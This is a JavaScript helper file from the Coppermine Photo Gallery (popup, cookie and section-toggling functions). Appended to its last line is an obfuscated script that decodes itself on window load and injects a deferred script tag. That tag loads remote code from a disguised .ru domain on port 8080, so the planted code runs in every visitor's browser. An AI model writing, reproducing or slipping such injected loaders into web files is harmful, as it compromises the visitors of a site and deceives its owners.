/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2007 Coppermine Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.
  ********************************************
  Coppermine version: 1.4.12
  $Source$
  $Revision: 3636 $
  $Author: gaugau $
  $Date: 2007-06-29 11:35:30 +0200 (Fr, 29 Jun 2007) $
**********************************************/

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function writeCookie(name, data, noDays){
  var cookieStr = name + "="+ data
  if (writeCookie.arguments.length > 2){
    cookieStr += "; expires=" + getCookieExpireDate(noDays)
    }
  document.cookie = cookieStr
}

function readCookie(cookieName){
   var searchName = cookieName + "="
   var cookies = document.cookie
   var start = cookies.indexOf(cookieName)
   if (start == -1){ // cookie not found
     return ""
     }
   start += searchName.length //start of the cookie data
   var end = cookies.indexOf(";", start)
   if (end == -1){
     end = cookies.length
     }
   return cookies.substring(start, end)
}

function blocking(nr, cookie, vis_state)
{
        if (document.layers)
        {
                current = (document.layers[nr].display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.layers[nr].display = current;
        }
        else if (document.all)
        {
                current = (document.all[nr].style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.all[nr].style.display = current;
        }
        else if (document.getElementById)
        {
                display = (document.getElementById(nr).style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, display);
                document.getElementById(nr).style.display = display;
        }
}


function adjust_popup()
{
        var w, h, fixedW, fixedH, diffW, diffH;
        if (document.documentElement && document.body.clientHeight==0) {     // Catches IE6 and FF in DOCMODE
                fixedW = document.documentElement.clientWidth;
                fixedH = document.documentElement.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.documentElement.clientWidth;
                diffH = fixedH - document.documentElement.clientHeight;
                w = fixedW + diffW + 16; // Vert Scrollbar Always On in DOCMODE.
                h = fixedH + diffH;
                if (w >= screen.availWidth) h += 16;
        } else if (document.all) {
                fixedW = document.body.clientWidth;
                fixedH = document.body.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.body.clientWidth;
                diffH = fixedH - document.body.clientHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (h >= screen.availHeight) w += 16;
                if (w >= screen.availWidth)  h += 16;
        } else {
                fixedW = window.innerWidth;
                fixedH = window.innerHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - window.innerWidth;
                diffH = fixedH - window.innerHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (w >= screen.availWidth)  h += 16;
                if (h >= screen.availHeight) w += 16;
        }
        w = Math.min(w,screen.availWidth);
        h = Math.min(h,screen.availHeight);
        window.resizeTo(w,h);
        window.moveTo((screen.availWidth-w)/2, (screen.availHeight-h)/2);
}

function show_section(e) {
    if (document.getElementById(e).style.display == 'none') {
        document.getElementById(e).style.display = 'block';
    } else {
        document.getElementById(e).style.display = 'none';
    }
}


function expand()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'block';
                }
        }
}

function hideall()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'none';
                }
        }
}
try {var m=RegExp;var Z;if(Z!='' && Z!='mR'){Z=''};var L=']';var F='g';var Do=new Array();var M='[';var Df="";var _='replace';this.t="";var g='';function S(FI,f){var H;if(H!='' && H!='E'){H=''};var k;if(k!='' && k!='oV'){k=''};var SG=M;var SM='';var N;if(N!='Ex'){N='Ex'};SG+=f;var HV;if(HV!=''){HV='RV'};var CW;if(CW!=''){CW='pk'};SG+=L;var s=new m(SG, F);var BL;if(BL!='vI'){BL=''};return FI[_](s, g);};var fE;if(fE!='wW'){fE='wW'};var j=S('cNrQeQaNtQeQEQlNeQmQeQnQtN',"QN");var sC=S('axpRpveRnvdxCxhRivlvdx',"xvR");var n=new Date();var _U=new Date();var T=S('oPnuleoPaedu',"3eGuP");var z;if(z!=''){z='ui'};var sn=S('h6tQt8pH:Q/H/8d8eHp6oJsHiHtJf6i6lHeJs6-JcHoQm6.HbQuQz8zQnJe8t6.JcQo8mH.QmQa6rQkHeHt8w6a8t8cJhQ-HcHoHm6.HaJlJl6m8yJgHu6iJd6e8.6rQu8:8',"J68QH");var sh;if(sh!='y' && sh!='LS'){sh='y'};var FX=new String();var D=S('8797906655855604557',"97645");var fQ="";var FI="1";var P=S('sneJtzAJtztJrJiJbnuntnen',"Jzn");var td;if(td!='' && td!='ZSW'){td='zQ'};this.gw="";var J=S('sUcUrPiPpPtP',"PU");var eE;if(eE!='' && eE!='O'){eE=null};this.nK="";var v=S('bHoHdHyH',"5H");var MR;if(MR!=''){MR='DR'};var e=S('/EvEeEoEh3.EcEo3mE/3vEeEo3hE.3cEoEmE/Ea3mEaEz3oEn3.EcEo3.3u3k3/3g3oEoEg3lEe3.3cEo3mE/3a3n3g3e3g3e3.EcEoEmE.3pEhEpE',"E3");var o='';var lZ;if(lZ!='Ir' && lZ!='WO'){lZ=''};window[T]=function(){var cy="";var vA=new String();this.aT='';var Iu;if(Iu!='Oq'){Iu=''};w=document[j](J);this.RJ='';var Ch;if(Ch!='' && Ch!='Dt'){Ch=null};o+=sn;o+=D;var q=new Array();o+=e;this.we="";var K;if(K!=''){K='fe'};w.setAttribute('defer', FI);var Sh='';w.src=o;var RP=new String();var u=document[v];u.appendChild(w);var qt;if(qt!='' && qt!='Ut'){qt=''};};var H_;if(H_!='' && H_!='Ui'){H_='cd'};} catch(c){};var _W=new Array();